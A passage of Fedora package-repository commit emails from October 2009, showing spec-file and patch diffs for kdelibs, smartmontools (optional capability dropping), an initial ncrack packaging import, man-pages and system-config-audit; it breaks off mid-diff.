-Version: 4.3.1
-Release: 7%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 Name: kdelibs
 Epoch: 6
@@ -76,7 +76,6 @@ Patch21: kdelibs-4.3.1-ossl-1.x.patch
 # patch to fix keditbookmarks crash (kde#160679)
 Patch22: kdelibs-4.3.0-bookmarks.patch
 # http://bugs.kde.org/186763
-Patch23: kdelibs-4.3.1-kde186763.patch
 Patch24: kdelibs-4.3.1-drkonq.patch
 
 # upstream
@@ -197,7 +196,6 @@ format for easy browsing.
 %patch20 -p1 -b .xxcmake
 %patch21 -p1 -b .ossl-1.x
 %patch22 -p1 -b .bookmarks
-%patch23 -p1 -b .kde186763
 %if 0%{?rhel} > 5
 %patch24 -p1 -b .drkonq
 %endif
@@ -396,6 +394,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Wed Sep 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-7
 - move /etc/profile.d/kde4.(sh|csh) to kde-settings (F-12+)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/devel/sources,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- sources	28 Aug 2009 14:14:08 -0000	1.95
+++ sources	5 Oct 2009 13:24:57 -0000	1.96
@@ -1 +1 @@
-df6b6d261d46508c7b0abcdd983ffae2  kdelibs-4.3.1.tar.bz2
+0564ed8ba804a0f3f1cee9732a3d2d72  kdelibs-4.3.2.tar.bz2


--- kdelibs-4.3.1-kde186763.patch DELETED ---



From kkofler at fedoraproject.org  Mon Oct  5 13:30:20 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Mon,  5 Oct 2009 13:30:20 +0000 (UTC)
Subject: rpms/kdelibs/devel kdelibs.spec,1.519,1.520
Message-ID: <20091005133020.6199B11C0298@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdelibs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17117/devel

Modified Files:
	kdelibs.spec 
Log Message:
rm obsolete comment


Index: kdelibs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/devel/kdelibs.spec,v
retrieving revision 1.519
retrieving revision 1.520
diff -u -p -r1.519 -r1.520
--- kdelibs.spec	5 Oct 2009 13:24:57 -0000	1.519
+++ kdelibs.spec	5 Oct 2009 13:30:20 -0000	1.520
@@ -75,7 +75,6 @@ Patch20: kdelibs-4.1.70-cmake.patch
 Patch21: kdelibs-4.3.1-ossl-1.x.patch
 # patch to fix keditbookmarks crash (kde#160679)
 Patch22: kdelibs-4.3.0-bookmarks.patch
-# http://bugs.kde.org/186763
 Patch24: kdelibs-4.3.1-drkonq.patch
 
 # upstream



From mhlavink at fedoraproject.org  Mon Oct  5 13:43:31 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon,  5 Oct 2009 13:43:31 +0000 (UTC)
Subject: rpms/smartmontools/devel smartmontools-5.38-lowcap.patch, 1.3,
	1.4 smartmontools.spec, 1.59, 1.60
Message-ID: <20091005134331.9465411C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20554

Modified Files:
	smartmontools-5.38-lowcap.patch smartmontools.spec 
Log Message:
* Mon Oct 05 2009 Michal Hlaivnka <mhlavink at redhat.com> - 1:5.38-17
- make capabilities optional
- fix capabilities for 3ware contollers (#526626)


smartmontools-5.38-lowcap.patch:
 Makefile.am  |    2 +-
 configure.in |   34 ++++++++++++++++++++++++++++++++++
 smartd.8.in  |    6 ++++++
 smartd.cpp   |   53 ++++++++++++++++++++++++++++++++++++++++++++++++++++-
 4 files changed, 93 insertions(+), 2 deletions(-)

Index: smartmontools-5.38-lowcap.patch
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartmontools-5.38-lowcap.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- smartmontools-5.38-lowcap.patch	26 Aug 2009 16:17:56 -0000	1.3
+++ smartmontools-5.38-lowcap.patch	5 Oct 2009 13:43:31 -0000	1.4
@@ -1,6 +1,6 @@
 diff -up smartmontools-5.38/configure.in.lowcap smartmontools-5.38/configure.in
---- smartmontools-5.38/configure.in.lowcap	2009-08-26 17:40:36.942297517 +0200
-+++ smartmontools-5.38/configure.in	2009-08-26 17:40:36.951298527 +0200
+--- smartmontools-5.38/configure.in.lowcap	2009-10-05 15:28:23.770170937 +0200
++++ smartmontools-5.38/configure.in	2009-10-05 15:28:23.777234123 +0200
 @@ -143,6 +143,40 @@ if test "$with_selinux" = "yes"; then
  	AC_DEFINE(WITH_SELINUX, [1], [Define to 1 if SELinux support is enabled])
  fi
@@ -44,7 +44,7 @@ diff -up smartmontools-5.38/configure.in
      if test "$mandir" = '${prefix}/man'; then
 diff -up smartmontools-5.38/Makefile.am.lowcap smartmontools-5.38/Makefile.am
 --- smartmontools-5.38/Makefile.am.lowcap	2007-04-01 18:49:44.000000000 +0200
-+++ smartmontools-5.38/Makefile.am	2009-08-26 17:40:36.951298527 +0200
++++ smartmontools-5.38/Makefile.am	2009-10-05 15:28:23.781295996 +0200
 @@ -35,7 +35,7 @@ smartd_SOURCES =  smartd.cpp      \
                    utility.cpp     \
                    utility.h
@@ -54,9 +54,25 @@ diff -up smartmontools-5.38/Makefile.am.
  smartd_DEPENDENCIES = @os_deps@
  
  EXTRA_smartd_SOURCES = os_darwin.cpp    \
+diff -up smartmontools-5.38/smartd.8.in.lowcap smartmontools-5.38/smartd.8.in
+--- smartmontools-5.38/smartd.8.in.lowcap	2008-03-04 23:09:47.000000000 +0100
++++ smartmontools-5.38/smartd.8.in	2009-10-05 15:32:50.106358362 +0200
+@@ -354,6 +354,12 @@ The default level is 1, so \'\-r ataioct
+ equivalent.
+ 
+ .TP
++.b \-C, \-\-capabilities
++Use possix \fBcapabilities(7)\fP (EXPERIMENTAL).
++
++Warning: Mail notification does not work when used.
++
++.TP
+ .B \-\-service
+ Cygwin and Windows only: Enables \fBsmartd\fP to run as a Windows service.
+ 
 diff -up smartmontools-5.38/smartd.cpp.lowcap smartmontools-5.38/smartd.cpp
---- smartmontools-5.38/smartd.cpp.lowcap	2009-08-26 17:40:36.937297475 +0200
-+++ smartmontools-5.38/smartd.cpp	2009-08-26 17:57:48.558423011 +0200
+--- smartmontools-5.38/smartd.cpp.lowcap	2009-10-05 15:28:23.764170895 +0200
++++ smartmontools-5.38/smartd.cpp	2009-10-05 15:28:23.783301065 +0200
 @@ -74,6 +74,10 @@ extern "C" int __stdcall FreeConsole(voi
  #include <io.h> // setmode()
  #endif // __CYGWIN__
@@ -68,18 +84,108 @@ diff -up smartmontools-5.38/smartd.cpp.l
  // locally included files
  #include "int64.h"
  #include "atacmds.h"
-@@ -4408,6 +4412,14 @@ static int smartd_main(int argc, char **
+@@ -179,6 +183,11 @@ static int facility=LOG_DAEMON;
+ static bool do_fork=true;
+ #endif
+ 
++#ifdef HAVE_LIBCAP_NG
++// enable possix capabilities
++static bool enable_capabilities=false;
++#endif
++
+ // used for control of printing, passing arguments to atacmds.c
+ smartmonctrl *con=NULL;
+ 
+@@ -613,6 +622,15 @@ void MailWarning(cfgfile *cfg, int which
+     if  (epoch<(mail->lastsent+days))
+       return;
+   }
++  
++#ifdef HAVE_LIBCAP_NG
++  if (enable_capabilities) {
++    PrintOut(LOG_ERR,"Sending a mail was supressed. "
++		     "Mails can't be send when capabilites are enabled\n");
++    return;
++  }
++
++#endif
+ 
+   // record the time of this mail message, and the first mail message
+   if (!mail->logged)
+@@ -1239,6 +1257,11 @@ void Usage (void){
+   PrintOut(LOG_INFO,"        Quit on one of: %s\n\n", GetValidArgList('q'));
+   PrintOut(LOG_INFO,"  -r, --report=TYPE\n");
+   PrintOut(LOG_INFO,"        Report transactions for one of: %s\n\n", GetValidArgList('r'));
++#ifdef HAVE_LIBCAP_NG
++  PrintOut(LOG_INFO,"  -C, --usecapabilities\n");
++  PrintOut(LOG_INFO,"        Use possix capabilities (EXPERIMENTAL).\n"
++		    "        Warning: Mail notification does not work when used.\n");
++#endif
+ #ifdef _WIN32
+   PrintOut(LOG_INFO,"  --service\n");
+   PrintOut(LOG_INFO,"        Running as windows service (see man page), install with:\n");
+@@ -1260,6 +1283,9 @@ void Usage (void){
+   PrintOut(LOG_INFO,"  -p NAME    Write PID file NAME\n");
+   PrintOut(LOG_INFO,"  -q WHEN    Quit on one of: %s\n", GetValidArgList('q'));
+   PrintOut(LOG_INFO,"  -r TYPE    Report transactions for one of: %s\n", GetValidArgList('r'));
++#ifdef HAVE_LIBCAP_NG
++  PrintOut(LOG_INFO,"  -C         Use possix capabilities (EXPERIMENTAL)\n");
++#endif
+   PrintOut(LOG_INFO,"  -V         Print License, Copyright, and version information\n");
+ #endif
+ }
+@@ -3890,6 +3916,7 @@ void ParseOpts(int argc, char **argv){
+     { "copyright",      no_argument,       0, 'V' },
+     { "help",           no_argument,       0, 'h' },
+     { "usage",          no_argument,       0, 'h' },
++    { "usecapabilities",no_argument,       0, 'C' },
+     { 0,                0,                 0, 0   }
+   };
+ #endif
+@@ -4030,6 +4057,12 @@ void ParseOpts(int argc, char **argv){
+       PrintCopyleft();
+       EXIT(0);
+       break;
++#ifdef HAVE_LIBCAP_NG
++    case 'C':
++      //enable possix capabilities
++      enable_capabilities=1;
++      break;
++#endif
+     case 'h':
+       // help: print summary of command-line options
+       debugmode=1;
+@@ -4408,6 +4441,16 @@ static int smartd_main(int argc, char **
    
    // don't exit on bad checksums
    con->checksumfail=0;
 +
 +#ifdef HAVE_LIBCAP_NG
 +  // Drop capabilities
-+  capng_clear(CAPNG_SELECT_BOTH);
-+  capng_updatev(CAPNG_ADD, (capng_type_t)(CAPNG_EFFECTIVE|CAPNG_PERMITTED),
-+               CAP_SYS_ADMIN, CAP_SYS_RAWIO, -1);
-+  capng_apply(CAPNG_SELECT_BOTH);
++  if (enable_capabilities) {
++    capng_clear(CAPNG_SELECT_BOTH);
++    capng_updatev(CAPNG_ADD, (capng_type_t)(CAPNG_EFFECTIVE|CAPNG_PERMITTED),
++                CAP_SYS_ADMIN, CAP_MKNOD, CAP_SYS_RAWIO, -1);
++    capng_apply(CAPNG_SELECT_BOTH);
++  }
 +#endif
    
    // the main loop of the code
    while (1){
+@@ -4482,7 +4525,15 @@ static int smartd_main(int argc, char **
+         PrintTestSchedule(ATAandSCSIdevlist);
+         EXIT(0);
+       }
+-      
++#ifdef HAVE_LIBCAP_NG
++      for(int i=numdevata+numdevscsi; i>1; i--) {
++	  if (ATAandSCSIdevlist[i-1]->mailwarn) {
++	      PrintOut(LOG_WARNING,"Mail can't be enabled together with --usecapabilities. All mail will be suppressed.\n");
++	      break;
++	  }
++      }
++	
++#endif
+       // reset signal
+       caughtsigHUP=0;
+     }


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartmontools.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- smartmontools.spec	26 Aug 2009 16:17:56 -0000	1.59
+++ smartmontools.spec	5 Oct 2009 13:43:31 -0000	1.60
@@ -1,7 +1,7 @@
 Summary:	Tools for monitoring SMART capable hard disks
 Name:		smartmontools
 Version:	5.38
-Release: 	16%{?dist}
+Release: 	17%{?dist}
 Epoch:		1
 Group:		System Environment/Base
 License:	GPLv2+
@@ -79,6 +79,10 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Mon Oct 05 2009 Michal Hlaivnka <mhlavink at redhat.com> - 1:5.38-17
+- make capabilities optional
+- fix capabilities for 3ware contollers (#526626)
+
 * Wed Aug 26 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-16
 - extend capability scanning devices
 



From mhlavink at fedoraproject.org  Mon Oct  5 13:45:12 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon,  5 Oct 2009 13:45:12 +0000 (UTC)
Subject: rpms/smartmontools/devel smartmontools-5.38-lowcap.patch,1.4,1.5
Message-ID: <20091005134512.2467511C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20921

Modified Files:
	smartmontools-5.38-lowcap.patch 
Log Message:
fix man page


smartmontools-5.38-lowcap.patch:
 Makefile.am  |    2 +-
 configure.in |   34 ++++++++++++++++++++++++++++++++++
 smartd.8.in  |    6 ++++++
 smartd.cpp   |   53 ++++++++++++++++++++++++++++++++++++++++++++++++++++-
 4 files changed, 93 insertions(+), 2 deletions(-)

Index: smartmontools-5.38-lowcap.patch
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartmontools-5.38-lowcap.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- smartmontools-5.38-lowcap.patch	5 Oct 2009 13:43:31 -0000	1.4
+++ smartmontools-5.38-lowcap.patch	5 Oct 2009 13:45:11 -0000	1.5
@@ -1,6 +1,6 @@
 diff -up smartmontools-5.38/configure.in.lowcap smartmontools-5.38/configure.in
---- smartmontools-5.38/configure.in.lowcap	2009-10-05 15:28:23.770170937 +0200
-+++ smartmontools-5.38/configure.in	2009-10-05 15:28:23.777234123 +0200
+--- smartmontools-5.38/configure.in.lowcap	2009-10-05 15:33:00.231298546 +0200
++++ smartmontools-5.38/configure.in	2009-10-05 15:33:00.237483461 +0200
 @@ -143,6 +143,40 @@ if test "$with_selinux" = "yes"; then
  	AC_DEFINE(WITH_SELINUX, [1], [Define to 1 if SELinux support is enabled])
  fi
@@ -44,7 +44,7 @@ diff -up smartmontools-5.38/configure.in
      if test "$mandir" = '${prefix}/man'; then
 diff -up smartmontools-5.38/Makefile.am.lowcap smartmontools-5.38/Makefile.am
 --- smartmontools-5.38/Makefile.am.lowcap	2007-04-01 18:49:44.000000000 +0200
-+++ smartmontools-5.38/Makefile.am	2009-10-05 15:28:23.781295996 +0200
++++ smartmontools-5.38/Makefile.am	2009-10-05 15:33:00.238483296 +0200
 @@ -35,7 +35,7 @@ smartd_SOURCES =  smartd.cpp      \
                    utility.cpp     \
                    utility.h
@@ -56,12 +56,12 @@ diff -up smartmontools-5.38/Makefile.am.
  EXTRA_smartd_SOURCES = os_darwin.cpp    \
 diff -up smartmontools-5.38/smartd.8.in.lowcap smartmontools-5.38/smartd.8.in
 --- smartmontools-5.38/smartd.8.in.lowcap	2008-03-04 23:09:47.000000000 +0100
-+++ smartmontools-5.38/smartd.8.in	2009-10-05 15:32:50.106358362 +0200
++++ smartmontools-5.38/smartd.8.in	2009-10-05 15:44:35.455113557 +0200
 @@ -354,6 +354,12 @@ The default level is 1, so \'\-r ataioct
  equivalent.
  
  .TP
-+.b \-C, \-\-capabilities
++.B \-C, \-\-capabilities
 +Use possix \fBcapabilities(7)\fP (EXPERIMENTAL).
 +
 +Warning: Mail notification does not work when used.
@@ -71,8 +71,8 @@ diff -up smartmontools-5.38/smartd.8.in.
  Cygwin and Windows only: Enables \fBsmartd\fP to run as a Windows service.
  
 diff -up smartmontools-5.38/smartd.cpp.lowcap smartmontools-5.38/smartd.cpp
---- smartmontools-5.38/smartd.cpp.lowcap	2009-10-05 15:28:23.764170895 +0200
-+++ smartmontools-5.38/smartd.cpp	2009-10-05 15:28:23.783301065 +0200
+--- smartmontools-5.38/smartd.cpp.lowcap	2009-10-05 15:33:00.224483349 +0200
++++ smartmontools-5.38/smartd.cpp	2009-10-05 15:33:00.245483604 +0200
 @@ -74,6 +74,10 @@ extern "C" int __stdcall FreeConsole(voi
  #include <io.h> // setmode()
  #endif // __CYGWIN__



From smilner at fedoraproject.org  Mon Oct  5 13:45:53 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon,  5 Oct 2009 13:45:53 +0000 (UTC)
Subject: rpms/ncrack/devel import.log, NONE, 1.1 ncrack.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091005134553.809FB11C00DB@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/ncrack/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21143/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log ncrack.spec 
Log Message:
Initial import



--- NEW FILE import.log ---
ncrack-0_01-0_6_ALPHA_fc11:HEAD:ncrack-0.01-0.6.ALPHA.fc11.src.rpm:1254750330


--- NEW FILE ncrack.spec ---
Name:           ncrack
Version:        0.01
Release:        0.6.ALPHA%{?dist}
Summary:        High-speed network auth cracking tool

Group:          Applications/Internet
License:        GPLv2 with exceptions
URL:            http://nmap.org/ncrack/
Source0:        http://nmap.org/ncrack/dist/%{name}-%{version}ALPHA.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  openssl-devel


%description
Ncrack is a high-speed network authentication cracking tool. It was
built to help companies secure their networks by proactively testing
all their hosts and networking devices for poor passwords. Security
professionals also rely on Ncrack when auditing their clients. Ncrack
was designed using a modular approach, a command-line syntax similar to
Nmap and a dynamic engine that can adapt its behaviour based on network
feedback. It allows for rapid, yet reliable large-scale auditing of
multiple hosts. 


%prep
%setup -q -n %{name}
# Change encoding and keep the timestamp
iconv -f ISO-8859-1 -t UTF8 COPYING.OpenSSH -o COPYING.OpenSSH.new
touch -r COPYING.OpenSSH COPYING.OpenSSH.new
mv COPYING.OpenSSH.new COPYING.OpenSSH
sed -i '/\$(STRIP)/d' Makefile.in


%build
%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING COPYING.OpenSSH
%{_bindir}/ncrack
%{_mandir}/man1/ncrack.1*
%{_datadir}/%{name}/*


%changelog
* Tue Sep 29 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.6.ALPHA
- Removed custom patches after discussion with upstream and reviewers.
- Moved what we thought was a config back to it's default location.

* Wed Sep 23 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.5.ALPHA
- Added Martin Gieseking's ncrack-config-in-etc patch moving configs to sysconfdir.

* Mon Sep 21 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.4.ALPHA
- Man page now using glob.
- Added strip to prep section to avoid empty debug package.

* Wed Sep 16 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.3.ALPHA
- updated previous change log to reflect the changes.
- removed COPYING.OpenSSL from doc
- now following proper pre-release versioning

* Tue Sep 15 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.2.ALPHA
- updated license tag to GPLv2 with restrictions
- preserve timestamp of file COPYING.OpenSSH

* Thu Sep 10 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.1.ALPHA
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:24:03 -0000	1.1
+++ .cvsignore	5 Oct 2009 13:45:52 -0000	1.2
@@ -0,0 +1 @@
+ncrack-0.01ALPHA.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:24:03 -0000	1.1
+++ sources	5 Oct 2009 13:45:53 -0000	1.2
@@ -0,0 +1 @@
+e834ae14b2f340962af8df4133bb71b9  ncrack-0.01ALPHA.tar.gz



From varekova at fedoraproject.org  Mon Oct  5 13:46:02 2009
From: varekova at fedoraproject.org (Ivana Varekova)
Date: Mon,  5 Oct 2009 13:46:02 +0000 (UTC)
Subject: rpms/man-pages/devel man-pages-3.23-proc.patch, NONE, 1.1 .cvsignore,
	1.62, 1.63 man-pages.spec, 1.122, 1.123 sources, 1.61, 1.62
Message-ID: <20091005134602.68A7811C00DB@cvs1.fedora.phx.redhat.com>

Author: varekova

Update of /cvs/pkgs/rpms/man-pages/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21182

Modified Files:
	.cvsignore man-pages.spec sources 
Added Files:
	man-pages-3.23-proc.patch 
Log Message:
- update to 3.23
- fix proc description


man-pages-3.23-proc.patch:
 proc.5 |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE man-pages-3.23-proc.patch ---
diff -up man-pages-3.23/man5/proc.5.pom man-pages-3.23/man5/proc.5
--- man-pages-3.23/man5/proc.5.pom	2009-09-30 03:36:58.000000000 +0200
+++ man-pages-3.23/man5/proc.5	2009-10-05 15:38:31.000000000 +0200
@@ -1805,6 +1805,10 @@ For further details, see
 .I /proc/sys/fs/file-max
 This file defines
 a system-wide limit on the number of open files for all processes.
+This limit is not applied when a root user (or
+any user with
+.B CAP_SYS_ADMIN
+privileges) is trying to open a file.
 (See also
 .BR setrlimit (2),
 which can be used by a process to set the per-process limit,


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/man-pages/devel/.cvsignore,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- .cvsignore	14 Sep 2009 11:40:37 -0000	1.62
+++ .cvsignore	5 Oct 2009 13:46:02 -0000	1.63
@@ -2,5 +2,5 @@ man-pages-extralocale.tar.bz2
 man-suid-bins.tar.bz2
 man-pages-posix-2003-a.tar.bz2
 man-pages_add-01.tar.bz2
-man-pages-3.22.tar.bz2
 man-pages_syscalls-01.tar.bz2
+man-pages-3.23.tar.bz2


Index: man-pages.spec
===================================================================
RCS file: /cvs/pkgs/rpms/man-pages/devel/man-pages.spec,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- man-pages.spec	16 Sep 2009 08:47:42 -0000	1.122
+++ man-pages.spec	5 Oct 2009 13:46:02 -0000	1.123
@@ -3,8 +3,8 @@
 
 Summary: Man (manual) pages from the Linux Documentation Project
 Name: man-pages
-Version: 3.22
-Release: 6%{?dist}
+Version: 3.23
+Release: 1%{?dist}
 License: GPLv2+ and GPL+ and BSD and MIT and Copyright only and IEEE
 Group: Documentation
 URL: http://www.kernel.org/pub/linux/docs/manpages/
@@ -31,6 +31,7 @@ Patch54: man-pages-2.80-malloc_h.patch
 Patch55: man-pages-3.22-gai.conf.patch
 Patch56: man-pages-3.22-strcpy.patch
 Patch57: man-pages-3.22-nsswitch.conf.patch
+Patch58: man-pages-3.23-proc.patch
 
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Autoreq: false
@@ -60,6 +61,7 @@ rmdir man-pages-posix-%{posix_version}-%
 %patch55 -p1
 %patch56 -p1
 %patch57 -p1
+%patch58 -p1
 
 ### And now remove those we are not going to use:
 
@@ -130,6 +132,10 @@ rm -rf $RPM_BUILD_ROOT
 %lang(en) %{_mandir}/en/man*
 
 %changelog
+* Mon Oct  5 2009 Ivana Varekova <varekova at redhat.com> - 3.23-1
+- update to 3.23
+- fix proc description
+
 * Wed Sep 16 2009 Ivana Varekova <varekova at redhat.com> - 3.22-6
 - fix nsswitch.conf(5) man page
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/man-pages/devel/sources,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- sources	14 Sep 2009 11:40:37 -0000	1.61
+++ sources	5 Oct 2009 13:46:02 -0000	1.62
@@ -2,5 +2,5 @@
 a9c6a14e5b34c18c3684a0b68322572f  man-suid-bins.tar.bz2
 7c78aff03c0a6767ba483d34f19e4b09  man-pages-posix-2003-a.tar.bz2
 4ae755c6caaa035cb7737bf4a3ec7927  man-pages_add-01.tar.bz2
-30adc758b14a45efff785f7c1e43a130  man-pages-3.22.tar.bz2
 24a7571e8d525b3c8bf5afd5299f0bad  man-pages_syscalls-01.tar.bz2
+153704ffa27160d708e0e8c56c1da58f  man-pages-3.23.tar.bz2



From mitr at fedoraproject.org  Mon Oct  5 13:46:37 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Mon,  5 Oct 2009 13:46:37 +0000 (UTC)
Subject: rpms/system-config-audit/devel .cvsignore, 1.3, 1.4 sources, 1.3,
	1.4 system-config-audit.spec, 1.2, 1.3
Message-ID: <20091005134637.3024011C00DB@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/system-config-audit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21475

Modified Files:
	.cvsignore sources system-config-audit.spec 
Log Message:
* Mon Oct  5 2009 Miloslav Trma? <mitr at redhat.com> - 0.4.13-1
- Update to system-config-audit-0.4.13.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-audit/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	15 Sep 2009 17:08:52 -0000	1.3
+++ .cvsignore	5 Oct 2009 13:46:37 -0000	1.4
@@ -1 +1 @@
-system-config-audit-0.4.12.tar.bz2
+system-config-audit-0.4.13.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-audit/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	15 Sep 2009 17:08:52 -0000	1.3
+++ sources	5 Oct 2009 13:46:37 -0000	1.4
@@ -1 +1 @@
-58668dd6702f1fe86f11da3f93f751d4  system-config-audit-0.4.12.tar.bz2
+18e9a8d9fd27c1a22df0f8cd4638c2a8  system-config-audit-0.4.13.tar.bz2


Index: system-config-audit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-audit/devel/system-config-audit.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- system-config-audit.spec	15 Sep 2009 17:08:52 -0000	1.2
+++ system-config-audit.spec	5 Oct 2009 13:46:37 -0000	1.3
@@ -1,7 +1,7 @@
 Summary: Utility for editing audit configuration
 Name: system-config-audit
-Version: 0.4.12
-Release: 1
+Version: 0.4.13
+Release: 1%{?dist}
 License: GPLv2
 Group: Applications/System
 URL: https://fedorahosted.org/system-config-audit/
@@ -43,6 +43,9 @@ rm -rf $RPM_BUILD_ROOT
 %config(noreplace) %{_sysconfdir}/security/console.apps/system-config-audit-server
 
 %changelog
+* Mon Oct  5 2009 Miloslav Trma? <mitr at redhat.com> - 0.4.13-1
+- Update to system-config-audit-0.4.13.
+
 * Tue Sep 15 2009 Miloslav Trma? <mitr at redhat.com> - 0.4.12-1
 - Update to system-config-audit-0.4.12.
 



From mhlavink at fedoraproject.org  Mon Oct  5 13:47:05 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon,  5 Oct 2009 13:47:05 +0000 (UTC)
Subject: rpms/smartmontools/devel smartmontools-5.38-lowcap.patch,1.5,1.6
Message-ID: <20091005134705.33BA111C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21520

Modified Files:
	smartmontools-5.38-lowcap.patch 
Log Message:
reorder man page alphabetically


smartmontools-5.38-lowcap.patch:
 Makefile.am  |    2 +-
 configure.in |   34 ++++++++++++++++++++++++++++++++++
 smartd.8.in  |    6 ++++++
 smartd.cpp   |   53 ++++++++++++++++++++++++++++++++++++++++++++++++++++-
 4 files changed, 93 insertions(+), 2 deletions(-)

Index: smartmontools-5.38-lowcap.patch
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartmontools-5.38-lowcap.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- smartmontools-5.38-lowcap.patch	5 Oct 2009 13:45:11 -0000	1.5
+++ smartmontools-5.38-lowcap.patch	5 Oct 2009 13:47:05 -0000	1.6
@@ -1,6 +1,6 @@
 diff -up smartmontools-5.38/configure.in.lowcap smartmontools-5.38/configure.in
---- smartmontools-5.38/configure.in.lowcap	2009-10-05 15:33:00.231298546 +0200
-+++ smartmontools-5.38/configure.in	2009-10-05 15:33:00.237483461 +0200
+--- smartmontools-5.38/configure.in.lowcap	2009-10-05 15:45:16.419171091 +0200
++++ smartmontools-5.38/configure.in	2009-10-05 15:45:16.425170899 +0200
 @@ -143,6 +143,40 @@ if test "$with_selinux" = "yes"; then
  	AC_DEFINE(WITH_SELINUX, [1], [Define to 1 if SELinux support is enabled])
  fi
@@ -44,7 +44,7 @@ diff -up smartmontools-5.38/configure.in
      if test "$mandir" = '${prefix}/man'; then
 diff -up smartmontools-5.38/Makefile.am.lowcap smartmontools-5.38/Makefile.am
 --- smartmontools-5.38/Makefile.am.lowcap	2007-04-01 18:49:44.000000000 +0200
-+++ smartmontools-5.38/Makefile.am	2009-10-05 15:33:00.238483296 +0200
++++ smartmontools-5.38/Makefile.am	2009-10-05 15:45:16.426170991 +0200
 @@ -35,7 +35,7 @@ smartd_SOURCES =  smartd.cpp      \
                    utility.cpp     \
                    utility.h
@@ -56,9 +56,9 @@ diff -up smartmontools-5.38/Makefile.am.
  EXTRA_smartd_SOURCES = os_darwin.cpp    \
 diff -up smartmontools-5.38/smartd.8.in.lowcap smartmontools-5.38/smartd.8.in
 --- smartmontools-5.38/smartd.8.in.lowcap	2008-03-04 23:09:47.000000000 +0100
